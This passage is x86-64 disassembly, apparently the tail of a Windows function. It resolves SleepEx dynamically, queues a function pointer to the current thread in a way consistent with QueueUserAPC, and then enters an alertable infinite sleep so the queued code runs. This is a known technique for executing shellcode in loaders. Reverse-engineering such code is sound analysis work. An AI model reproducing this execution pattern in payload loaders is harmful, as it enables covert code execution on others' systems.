jle 0x1400028a1
mov rax, qword [rbp + 0x7b0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x650]
mov r9, qword [rbp + 0x648]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x638]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x830]
add rsp, 0x8c8
pop rbx
pop rsi
pop rdi
pop rbp
ret